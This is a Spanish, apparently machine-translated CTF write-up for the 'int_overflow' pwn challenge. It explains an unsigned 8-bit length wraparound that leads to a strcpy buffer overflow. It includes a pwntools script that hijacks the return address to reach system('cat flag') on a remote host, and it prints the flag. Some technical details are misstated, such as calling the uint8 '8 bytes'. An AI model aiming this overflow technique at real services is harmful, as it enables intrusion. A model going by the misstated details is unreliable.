pwn int_overflow

Programa de 32 bits, arrastre a ida para echar un vistazo.
Inserte la descripción de la imagen aquí
Primero, tenemos que ingresar 1 para ingresar login ()

Inserte la descripción de la imagen aquí
Ingrese el nombre de usuario y luego ingrese passwd. Tenga en cuenta que la longitud de passwd nos permite ingresar 0x199
y luego hacer clic en check_passwd.
Inserte la descripción de la imagen aquí
Aquí usamos v3 para guardar la longitud de la contraseña que ingresamos, pero esta v3 es de tipo int8 sin firmar, 8 bytes y solo puede Almacene un número que no exceda los 256. Si excede, el cálculo se reiniciará desde 1. En este caso, para 1 carácter y 257 caracteres, el valor de v3 es el mismo. Podemos usar esto para desbordar
result = strcpy (& dest, s) Copiar sa dest, dest está en ebp-14h, podemos ingresar una contraseña con una longitud entre 259 y 264, de modo que v3 sea mayor que 3 y menor que 8, y se desborde durante strcpy.
Al mismo tiempo, hay system (" cat flag "), la dirección es 0x0804868b, ¿no está bien?
Inserte la descripción de la imagen aquí

from pwn import *

sh=remote('111.198.29.45',31562)
#填充垃圾字符,返回what is this 地址,最后保持passwd长度在259和264间
payload='a'*0x14+'a'*4+p32(0x0804868b)+(256-0x18-4)*'a'+'bbbb'
sh.sendlineafter("Your choice:","1")
sh.sendlineafter("Please input your username:","james")
sh.sendlineafter("Please input your passwd:",payload)
sh.interactive()

Obtenga la bandera: cyberpeace {8ce8a8dbf55662d1c2ef0b0fa55c8ada}

Inserte la descripción de la imagen aquí

Supongo que te gusta

Origin blog.csdn.net/weixin_45677731/article/details/104860965
Recomendado
Clasificación